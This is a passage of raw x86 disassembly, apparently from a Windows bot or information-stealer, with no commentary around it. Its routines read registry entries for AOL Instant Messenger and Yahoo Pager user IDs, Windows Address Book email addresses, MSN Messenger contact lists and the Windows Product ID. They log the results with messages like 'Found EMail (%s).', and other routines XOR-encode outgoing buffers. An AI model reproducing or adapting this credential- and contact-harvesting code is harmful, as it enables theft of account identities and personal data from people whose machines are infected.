dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
dd 51000001h, 44C75250h, 4424h, 0E8900000h, 245B54Ch, 1424448Bh
dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h
dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
dd 80000003h, 402444C7h, 800h, 0B506E890h, 0C0850246h
dd 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h
dd 20244489h, 569FE890h, 0B9001Bh, 33000002h, 24BC8DC0h
dd 6F4h, 0F310C483h, 100B9ABh, 0FCBF0000h, 0F30050E3h
dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
dd 4DB4ABE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h
dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh
dd 81E85210h, 90024AB4h, 8D08568Bh, 8D182444h, 6E4248Ch
dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
dd 443D3Ch, 0E8694F8Dh, 0FFFCC913h, 938F8Ah, 8A500000h
dd 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
dd 19E89052h, 8B024AB4h, 8B24247Ch, 47142444h, 7C89F83Bh
dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
dd 10C683FFh, 5A14FE81h, 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh
dd 448D0050h, 68501C24h, 20019h, 0A068006Ah, 6800445Bh
dd 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h
dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h
dd 9468F08Bh, 5100445Bh, 446A4C68h, 26E85600h, 90001B55h
dd 443E7C68h, 6DE85600h, 907780A3h, 0C483F88Bh, 74FF8518h
dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h
dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h
dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch
dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h
dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60A5h, 0FCCB33E8h
dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 90560A74h
dd 7F74EEE8h, 4C48377h, 1C24448Bh, 0B2C6E850h, 8D90024Ah
dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h
dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h
dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
dd 68F08B00h, 4469E8h, 69D86852h, 90560044h, 1B5414E8h
dd 3E7C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 812E7BE8h
dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h
dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
dd 80BC88E8h, 4C48377h, 0A74F685h, 0E4E89056h, 83777F73h
dd 548B04C4h, 90521C24h, 4AB1BBE8h, 244C8D02h, 2484C764h
dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_434E5E: ; CODE XREF: ___:004348E1j
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434FE2
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
call near ptr 2910000h
nop
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_446938
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28C0000h
test eax, eax
jz short loc_434EE8
mov edx, [esp+10h]
push edx
nop
call near ptr 28E0000h
jmp loc_434FE2
; ---------------------------------------------------------------------------
loc_434EE8: ; CODE XREF: ___:00434ED6j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_50F738
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_44692C
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
call near ptr 2910000h
nop
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
call near ptr 28C0000h
nop
test eax, eax
jz short loc_434F9F
mov ecx, [esp+10h]
push ecx
call ebp
jmp short loc_434FE2
; ---------------------------------------------------------------------------
loc_434F9F: ; CODE XREF: ___:00434F94j
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_434FE2: ; CODE XREF: ___:00434E70j
; ___:00434E94j ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4351E0 proc near ; CODE XREF: sub_4016F4j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4351E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
sub_4351E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435280: ; CODE XREF: ___:loc_401FD7j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017E4
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43551E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
call near ptr 2910000h
nop
mov eax, [esp+14h]
test eax, eax
jz loc_43551E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_446F60
push eax
nop
call near ptr 28C0000h
mov eax, [esp+14h]
push eax
nop
call near ptr 28E0000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
call near ptr 284036Ch
nop
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2700000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_435359
push edi
nop
call near ptr 28207DAh
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435359: ; CODE XREF: ___:00435341j
push 0
push 0
push 0
push 4
push ebx
nop
call near ptr 2700650h
mov esi, eax
test esi, esi
jnz short loc_435389
mov esi, dword_50F8D8
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435389: ; CODE XREF: ___:0043536Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_435428
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4353CB: ; CODE XREF: ___:0043541Ej
xor eax, eax
mov ecx, edi
loc_4353CF: ; CODE XREF: ___:004353DFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4353CF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4353CB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_435428: ; CODE XREF: ___:004353B7j
push edi
mov edi, dword_50F8D8
call edi
push esi
nop
call near ptr 2700799h
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
call near ptr 2910000h
nop
test eax, eax
jnz loc_43551E
mov ebx, dword_50FBF0
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_435477: ; CODE XREF: ___:0043550Ej
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_446A78
push ecx
call ebx
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
call near ptr 28C0000h
nop
test eax, eax
jnz short loc_435513
lea ecx, [esp+2DCh]
push ecx
push offset dword_446A6C
lea ecx, [ebp+69h]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
push 64h
call near ptr 2820000h
nop
jmp loc_435477
; ---------------------------------------------------------------------------
loc_435513: ; CODE XREF: ___:004354D3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 28E0000h
loc_43551E: ; CODE XREF: ___:004352A4j
; ___:004352D4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4355E0 proc near ; CODE XREF: sub_401E47j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4355E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401681
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_4355E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_401681
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4356F0 proc near ; CODE XREF: sub_401E4Cj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4356F0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435BC7
push ebp
xor ebp, ebp
push ebp
push offset asc_443600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017E4
mov edi, dword_50F75C
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017E4
mov ebp, dword_50F724
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_43581C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BBB+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_43581C: ; CODE XREF: sub_4356F0+FCj
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 28E0000h
nop
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435904
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BAF+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435904: ; CODE XREF: sub_4356F0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28E0000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_4359EC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_446BA4
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_4359EC: ; CODE XREF: sub_4356F0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28E0000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435AD4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435AD4: ; CODE XREF: sub_4356F0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 28E0000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017E4
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_435BBD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435BBD: ; CODE XREF: sub_4356F0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_435C61
; ---------------------------------------------------------------------------
loc_435BC7: ; CODE XREF: sub_4356F0+3Cj
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435C67
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
nop
call near ptr 2910000h
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 28C0000h
test eax, eax
jnz short loc_435C5C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_435C5C: ; CODE XREF: sub_4356F0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_435C61: ; CODE XREF: sub_4356F0+4D2j
call near ptr 28E0000h
nop
loc_435C67: ; CODE XREF: sub_4356F0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4356F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435E00 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_435E1D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_435E13: ; CODE XREF: sub_435E00+1Bj
cmp [eax+edx], cl
jz short loc_435E21
inc eax
cmp eax, esi
jl short loc_435E13
loc_435E1D: ; CODE XREF: sub_435E00+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_435E21: ; CODE XREF: sub_435E00+16j
pop esi
mov al, 1
retn
sub_435E00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435E40: ; CODE XREF: ___:00401429j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
nop
call near ptr 71AB2B66h
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_435EFC
push ebx
push ebp
call eax
add esp, 8
loc_435EFC: ; CODE XREF: ___:00435EF3j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_435F3E: ; CODE XREF: ___:00435FB7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_435FB9
loc_435F7E: ; CODE XREF: ___:00435F4Cj
; ___:00435F5Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_435FB0
loc_435FA3: ; CODE XREF: ___:00435FAEj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_435FA3
loc_435FB0: ; CODE XREF: ___:00435FA1j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_435F3E
; ---------------------------------------------------------------------------
loc_435FB9: ; CODE XREF: ___:00435F7Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4360A0: ; CODE XREF: ___:00401D61j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436152
push ebx
push ebp
call eax
add esp, 8
loc_436152: ; CODE XREF: ___:00436149j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436194: ; CODE XREF: ___:0043620Dj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
